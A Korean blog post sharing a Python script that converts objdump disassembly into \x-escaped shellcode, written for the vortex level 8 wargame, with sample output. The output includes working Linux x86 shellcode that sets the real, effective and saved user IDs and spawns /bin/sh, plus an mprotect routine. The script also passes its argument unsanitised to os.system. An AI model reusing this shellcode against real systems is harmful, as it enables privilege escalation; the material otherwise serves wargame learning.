objdump를 이용한 쉘코드 추출 스크립트

vortex 8번 문제는 쉘코드를 작성해야 하는 문제인데 코드를 작성하여 gcc로 컴파일 후 objdump를 이용하여 쉘코드만 따로 뽑아내는 작업이 너무 번거로워 간단하게 스크립트로 작성하였습니다.

#!/usr/bin/env python
import re, sys, os

def parser():
    f = open('dump.txt', 'r')
    data = f.read()
    f.close()

    data = re.split('[0-9a-f]{8} <', data)
    for x in data:
        try:
            title = re.search('.*>:', x).group()
        except:
            title = ''
            pass

        hexdata = re.findall('\t[0-9a-f ]+\t', x)
        hexdata = ''.join(hexdata)
        hexdata = re.findall('[0-9a-f]{2} ', hexdata)

        print '############################################################'
        print '# <' + title[:-1]
        print '############################################################'
        print x
        output = []
        for x in hexdata:
            x = re.sub('\s', '', x)
            output.append('\x' + x)
        print ''.join(output)

def main():
    if len(sys.argv) != 2:
        print 'Usage: ./objdump2shellcode.py Filename'
        sys.exit()

    os.system('objdump -d ' + sys.argv[1] + ' > dump.txt')
    parser()

if __name__ == '__main__':
    main()

사용법은 아래와 같습니다.

[byjjoon@ByJJoon sh]$ ./objdump2shellcode.py shell 
############################################################
# <
############################################################

shell:     file format elf32-i386

Disassembly of section .init:

############################################################
# <_init>
############################################################
_init>:
 8048274:       55                      push   %ebp
 8048275:       89 e5                   mov    %esp,%ebp
 8048277:       53                      push   %ebx
 8048278:       83 ec 04                sub    $0x4,%esp
 804827b:       e8 00 00 00 00          call   8048280 <_init+0xc>
 8048280:       5b                      pop    %ebx
 8048281:       81 c3 88 13 00 00       add    $0x1388,%ebx
 8048287:       8b 93 fc ff ff ff       mov    -0x4(%ebx),%edx
 804828d:       85 d2                   test   %edx,%edx
 804828f:       74 05                   je     8048296 <_init+0x22>
 8048291:       e8 1e 00 00 00          call   80482b4 <__gmon_start__@plt>
 8048296:       e8 d5 00 00 00          call   8048370 <frame_dummy>
 804829b:       e8 c0 01 00 00          call   8048460 <__do_global_ctors_aux>
 80482a0:       58                      pop    %eax
 80482a1:       5b                      pop    %ebx
 80482a2:       c9                      leave  
 80482a3:       c3                      ret    

Disassembly of section .plt:

\x55\x89\xe5\x53\x83\xec\x04\xe8\x00\x00\x00\x00\x5b\x81\xc3\x88\x13\x00\x00\x8b\x93\xfc\xff\xff\xff\x85\xd2\x74\x05\xe8\x1e\x00\x00\x00\xe8\xd5\x00\x00\x00\xe8\xc0\x01\x00\x00\x58\x5b\xc9\xc3
############################################################
# <__gmon_start__@plt-0x10>
############################################################
__gmon_start__@plt-0x10>:
 80482a4:       ff 35 0c 96 04 08       pushl  0x804960c
 80482aa:       ff 25 10 96 04 08       jmp    *0x8049610
 80482b0:       00 00                   add    %al,(%eax)
        ...

\xff\x35\x0c\x96\x04\x08\xff\x25\x10\x96\x04\x08\x00\x00
############################################################
# <__gmon_start__@plt>
############################################################
__gmon_start__@plt>:
 80482b4:       ff 25 14 96 04 08       jmp    *0x8049614
 80482ba:       68 00 00 00 00          push   $0x0
 80482bf:       e9 e0 ff ff ff          jmp    80482a4 <_init+0x30>

\xff\x25\x14\x96\x04\x08\x68\x00\x00\x00\x00\xe9\xe0\xff\xff\xff
############################################################
# <__libc_start_main@plt>
############################################################
__libc_start_main@plt>:
 80482c4:       ff 25 18 96 04 08       jmp    *0x8049618
 80482ca:       68 08 00 00 00          push   $0x8
 80482cf:       e9 d0 ff ff ff          jmp    80482a4 <_init+0x30>

Disassembly of section .text:

\xff\x25\x18\x96\x04\x08\x68\x08\x00\x00\x00\xe9\xd0\xff\xff\xff
############################################################
# <_start>
############################################################
_start>:
 80482e0:       31 ed                   xor    %ebp,%ebp
 80482e2:       5e                      pop    %esi
 80482e3:       89 e1                   mov    %esp,%ecx
 80482e5:       83 e4 f0                and    $0xfffffff0,%esp
 80482e8:       50                      push   %eax
 80482e9:       54                      push   %esp
 80482ea:       52                      push   %edx
 80482eb:       68 f0 83 04 08          push   $0x80483f0
 80482f0:       68 00 84 04 08          push   $0x8048400
 80482f5:       51                      push   %ecx
 80482f6:       56                      push   %esi
 80482f7:       68 bd 83 04 08          push   $0x80483bd
 80482fc:       e8 c3 ff ff ff          call   80482c4 <__libc_start_main@plt>
 8048301:       f4                      hlt    
 8048302:       90                      nop    
 8048303:       90                      nop    
 8048304:       90                      nop    
 8048305:       90                      nop    
 8048306:       90                      nop    
 8048307:       90                      nop    
 8048308:       90                      nop    
 8048309:       90                      nop    
 804830a:       90                      nop    
 804830b:       90                      nop    
 804830c:       90                      nop    
 804830d:       90                      nop    
 804830e:       90                      nop    
 804830f:       90                      nop    

\x31\xed\x5e\x89\xe1\x83\xe4\xf0\x50\x54\x52\x68\xf0\x83\x04\x08\x68\x00\x84\x04\x08\x51\x56\x68\xbd\x83\x04\x08\xe8\xc3\xff\xff\xff\xf4\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
############################################################
# <__do_global_dtors_aux>
############################################################
__do_global_dtors_aux>:
 8048310:       55                      push   %ebp
 8048311:       89 e5                   mov    %esp,%ebp
 8048313:       53                      push   %ebx
 8048314:       83 ec 04                sub    $0x4,%esp
 8048317:       80 3d 20 96 04 08 00    cmpb   $0x0,0x8049620
 804831e:       75 40                   jne    8048360 <__do_global_dtors_aux+0x50>
 8048320:       8b 15 24 96 04 08       mov    0x8049624,%edx
 8048326:       b8 34 95 04 08          mov    $0x8049534,%eax
 804832b:       2d 30 95 04 08          sub    $0x8049530,%eax
 8048330:       c1 f8 02                sar    $0x2,%eax
 8048333:       8d 58 ff                lea    -0x1(%eax),%ebx
 8048336:       39 da                   cmp    %ebx,%edx
 8048338:       73 1f                   jae    8048359 <__do_global_dtors_aux+0x49>
 804833a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi
 8048340:       8d 42 01                lea    0x1(%edx),%eax
 8048343:       a3 24 96 04 08          mov    %eax,0x8049624
 8048348:       ff 14 85 30 95 04 08    call   *0x8049530(,%eax,4)
 804834f:       8b 15 24 96 04 08       mov    0x8049624,%edx
 8048355:       39 da                   cmp    %ebx,%edx
 8048357:       72 e7                   jb     8048340 <__do_global_dtors_aux+0x30>
 8048359:       c6 05 20 96 04 08 01    movb   $0x1,0x8049620
 8048360:       83 c4 04                add    $0x4,%esp
 8048363:       5b                      pop    %ebx
 8048364:       5d                      pop    %ebp
 8048365:       c3                      ret    
 8048366:       8d 76 00                lea    0x0(%esi),%esi
 8048369:       8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi

\x55\x89\xe5\x53\x83\xec\x04\x80\x3d\x20\x96\x04\x08\x00\x75\x40\x8b\x15\x24\x96\x04\x08\xb8\x34\x95\x04\x08\x2d\x30\x95\x04\x08\xc1\xf8\x02\x8d\x58\xff\x39\xda\x73\x1f\x8d\xb6\x00\x00\x00\x00\x8d\x42\x01\xa3\x24\x96\x04\x08\xff\x14\x85\x30\x95\x04\x08\x8b\x15\x24\x96\x04\x08\x39\xda\x72\xe7\xc6\x05\x20\x96\x04\x08\x01\x83\xc4\x04\x5b\x5d\xc3\x8d\x76\x00\x8d\xbc\x27\x00\x00\x00\x00
############################################################
# <frame_dummy>
############################################################
frame_dummy>:
 8048370:       55                      push   %ebp
 8048371:       89 e5                   mov    %esp,%ebp
 8048373:       83 ec 08                sub    $0x8,%esp
 8048376:       a1 38 95 04 08          mov    0x8049538,%eax
 804837b:       85 c0                   test   %eax,%eax
 804837d:       74 12                   je     8048391 <frame_dummy+0x21>
 804837f:       b8 00 00 00 00          mov    $0x0,%eax
 8048384:       85 c0                   test   %eax,%eax
 8048386:       74 09                   je     8048391 <frame_dummy+0x21>
 8048388:       c7 04 24 38 95 04 08    movl   $0x8049538,(%esp)
 804838f:       ff d0                   call   *%eax
 8048391:       c9                      leave  
 8048392:       c3                      ret    
 8048393:       90                      nop    

\x55\x89\xe5\x83\xec\x08\xa1\x38\x95\x04\x08\x85\xc0\x74\x12\xb8\x00\x00\x00\x00\x85\xc0\x74\x09\xc7\x04\x24\x38\x95\x04\x08\xff\xd0\xc9\xc3\x90
############################################################
# <modify>
############################################################
modify>:
 8048394:       5e                      pop    %esi
 8048395:       31 c0                   xor    %eax,%eax
 8048397:       31 db                   xor    %ebx,%ebx
 8048399:       31 c9                   xor    %ecx,%ecx
 804839b:       31 d2                   xor    %edx,%edx
 804839d:       b0 7d                   mov    $0x7d,%al
 804839f:       bb 10 80 04 08          mov    $0x8048010,%ebx
 80483a4:       30 db                   xor    %bl,%bl
 80483a6:       66 b9 10 20             mov    $0x2010,%cx
 80483aa:       30 c9                   xor    %cl,%cl
 80483ac:       b2 07                   mov    $0x7,%dl
 80483ae:       cd 80                   int    $0x80
 80483b0:       b8 81 85 04 08          mov    $0x8048581,%eax
 80483b5:       29 c6                   sub    %eax,%esi
 80483b7:       89 35 7d 85 04 08       mov    %esi,0x804857d

\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x7d\xbb\x10\x80\x04\x08\x30\xdb\x66\xb9\x10\x20\x30\xc9\xb2\x07\xcd\x80\xb8\x81\x85\x04\x08\x29\xc6\x89\x35\x7d\x85\x04\x08
############################################################
# <main>
############################################################
main>:
 80483bd:       e8 d2 ff ff ff          call   8048394 <modify>

\xe8\xd2\xff\xff\xff
############################################################
# <shell>
############################################################
shell>:
 80483c2:       31 c0                   xor    %eax,%eax
 80483c4:       b0 31                   mov    $0x31,%al
 80483c6:       cd 80                   int    $0x80
 80483c8:       89 c2                   mov    %eax,%edx
 80483ca:       89 c1                   mov    %eax,%ecx
 80483cc:       89 c3                   mov    %eax,%ebx
 80483ce:       31 c0                   xor    %eax,%eax
 80483d0:       b0 a4                   mov    $0xa4,%al
 80483d2:       cd 80                   int    $0x80
 80483d4:       31 c0                   xor    %eax,%eax
 80483d6:       50                      push   %eax
 80483d7:       68 2f 2f 73 68          push   $0x68732f2f
 80483dc:       68 2f 62 69 6e          push   $0x6e69622f
 80483e1:       89 e3                   mov    %esp,%ebx
 80483e3:       50                      push   %eax
 80483e4:       53                      push   %ebx
 80483e5:       89 e1                   mov    %esp,%ecx
 80483e7:       89 c2                   mov    %eax,%edx
 80483e9:       b0 0b                   mov    $0xb,%al
 80483eb:       cd 80                   int    $0x80
 80483ed:       90                      nop    
 80483ee:       90                      nop    
 80483ef:       90                      nop    

\x31\xc0\xb0\x31\xcd\x80\x89\xc2\x89\xc1\x89\xc3\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x90\x90\x90
############################################################
# <__libc_csu_fini>
############################################################
__libc_csu_fini>:
 80483f0:       55                      push   %ebp
 80483f1:       89 e5                   mov    %esp,%ebp
 80483f3:       5d                      pop    %ebp
 80483f4:       c3                      ret    
 80483f5:       8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi
 80483f9:       8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi

\x55\x89\xe5\x5d\xc3\x8d\x74\x26\x00\x8d\xbc\x27\x00\x00\x00\x00
############################################################
# <__libc_csu_init>
############################################################
__libc_csu_init>:
 8048400:       55                      push   %ebp
 8048401:       89 e5                   mov    %esp,%ebp
 8048403:       57                      push   %edi
 8048404:       56                      push   %esi
 8048405:       53                      push   %ebx
 8048406:       e8 4f 00 00 00          call   804845a <__i686.get_pc_thunk.bx>
 804840b:       81 c3 fd 11 00 00       add    $0x11fd,%ebx
 8048411:       83 ec 0c                sub    $0xc,%esp
 8048414:       e8 5b fe ff ff          call   8048274 <_init>
 8048419:       8d bb 20 ff ff ff       lea    -0xe0(%ebx),%edi
 804841f:       8d 83 20 ff ff ff       lea    -0xe0(%ebx),%eax
 8048425:       29 c7                   sub    %eax,%edi
 8048427:       c1 ff 02                sar    $0x2,%edi
 804842a:       85 ff                   test   %edi,%edi
 804842c:       74 24                   je     8048452 <__libc_csu_init+0x52>
 804842e:       31 f6                   xor    %esi,%esi
 8048430:       8b 45 10                mov    0x10(%ebp),%eax
 8048433:       89 44 24 08             mov    %eax,0x8(%esp)
 8048437:       8b 45 0c                mov    0xc(%ebp),%eax
 804843a:       89 44 24 04             mov    %eax,0x4(%esp)
 804843e:       8b 45 08                mov    0x8(%ebp),%eax
 8048441:       89 04 24                mov    %eax,(%esp)
 8048444:       ff 94 b3 20 ff ff ff    call   *-0xe0(%ebx,%esi,4)
 804844b:       83 c6 01                add    $0x1,%esi
 804844e:       39 fe                   cmp    %edi,%esi
 8048450:       72 de                   jb     8048430 <__libc_csu_init+0x30>
 8048452:       83 c4 0c                add    $0xc,%esp
 8048455:       5b                      pop    %ebx
 8048456:       5e                      pop    %esi
 8048457:       5f                      pop    %edi
 8048458:       5d                      pop    %ebp
 8048459:       c3                      ret    

\x55\x89\xe5\x57\x56\x53\xe8\x4f\x00\x00\x00\x81\xc3\xfd\x11\x00\x00\x83\xec\x0c\xe8\x5b\xfe\xff\xff\x8d\xbb\x20\xff\xff\xff\x8d\x83\x20\xff\xff\xff\x29\xc7\xc1\xff\x02\x85\xff\x74\x24\x31\xf6\x8b\x45\x10\x89\x44\x24\x08\x8b\x45\x0c\x89\x44\x24\x04\x8b\x45\x08\x89\x04\x24\xff\x94\xb3\x20\xff\xff\xff\x83\xc6\x01\x39\xfe\x72\xde\x83\xc4\x0c\x5b\x5e\x5f\x5d\xc3
############################################################
# <__i686.get_pc_thunk.bx>
############################################################
__i686.get_pc_thunk.bx>:
 804845a:       8b 1c 24                mov    (%esp),%ebx
 804845d:       c3                      ret    
 804845e:       90                      nop    
 804845f:       90                      nop    

\x8b\x1c\x24\xc3\x90\x90
############################################################
# <__do_global_ctors_aux>
############################################################
__do_global_ctors_aux>:
 8048460:       55                      push   %ebp
 8048461:       89 e5                   mov    %esp,%ebp
 8048463:       53                      push   %ebx
 8048464:       83 ec 04                sub    $0x4,%esp
 8048467:       a1 28 95 04 08          mov    0x8049528,%eax
 804846c:       83 f8 ff                cmp    $0xffffffff,%eax
 804846f:       74 13                   je     8048484 <__do_global_ctors_aux+0x24>
 8048471:       bb 28 95 04 08          mov    $0x8049528,%ebx
 8048476:       66 90                   xchg   %ax,%ax
 8048478:       83 eb 04                sub    $0x4,%ebx
 804847b:       ff d0                   call   *%eax
 804847d:       8b 03                   mov    (%ebx),%eax
 804847f:       83 f8 ff                cmp    $0xffffffff,%eax
 8048482:       75 f4                   jne    8048478 <__do_global_ctors_aux+0x18>
 8048484:       83 c4 04                add    $0x4,%esp
 8048487:       5b                      pop    %ebx
 8048488:       5d                      pop    %ebp
 8048489:       c3                      ret    
 804848a:       90                      nop    
 804848b:       90                      nop    

Disassembly of section .fini:

\x55\x89\xe5\x53\x83\xec\x04\xa1\x28\x95\x04\x08\x83\xf8\xff\x74\x13\xbb\x28\x95\x04\x08\x66\x90\x83\xeb\x04\xff\xd0\x8b\x03\x83\xf8\xff\x75\xf4\x83\xc4\x04\x5b\x5d\xc3\x90\x90
############################################################
# <_fini>
############################################################
_fini>:
 804848c:       55                      push   %ebp
 804848d:       89 e5                   mov    %esp,%ebp
 804848f:       53                      push   %ebx
 8048490:       83 ec 04                sub    $0x4,%esp
 8048493:       e8 00 00 00 00          call   8048498 <_fini+0xc>
 8048498:       5b                      pop    %ebx
 8048499:       81 c3 70 11 00 00       add    $0x1170,%ebx
 804849f:       e8 6c fe ff ff          call   8048310 <__do_global_dtors_aux>
 80484a4:       59                      pop    %ecx
 80484a5:       5b                      pop    %ebx
 80484a6:       c9                      leave  
 80484a7:       c3                      ret    

\x55\x89\xe5\x53\x83\xec\x04\xe8\x00\x00\x00\x00\x5b\x81\xc3\x70\x11\x00\x00\xe8\x6c\xfe\xff\xff\x59\x5b\xc9\xc3

필요한 부분만 뽑아서 쓰시면 되겠죠? 🙂

혹시나 이보다 더 간단하게 뽑아내는 방법을 아시는 분이 계시면 리플 부탁 드립니다.
명령어로 그냥 쉽게 될거 같은데 전 잘 모르겠네요 XD

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다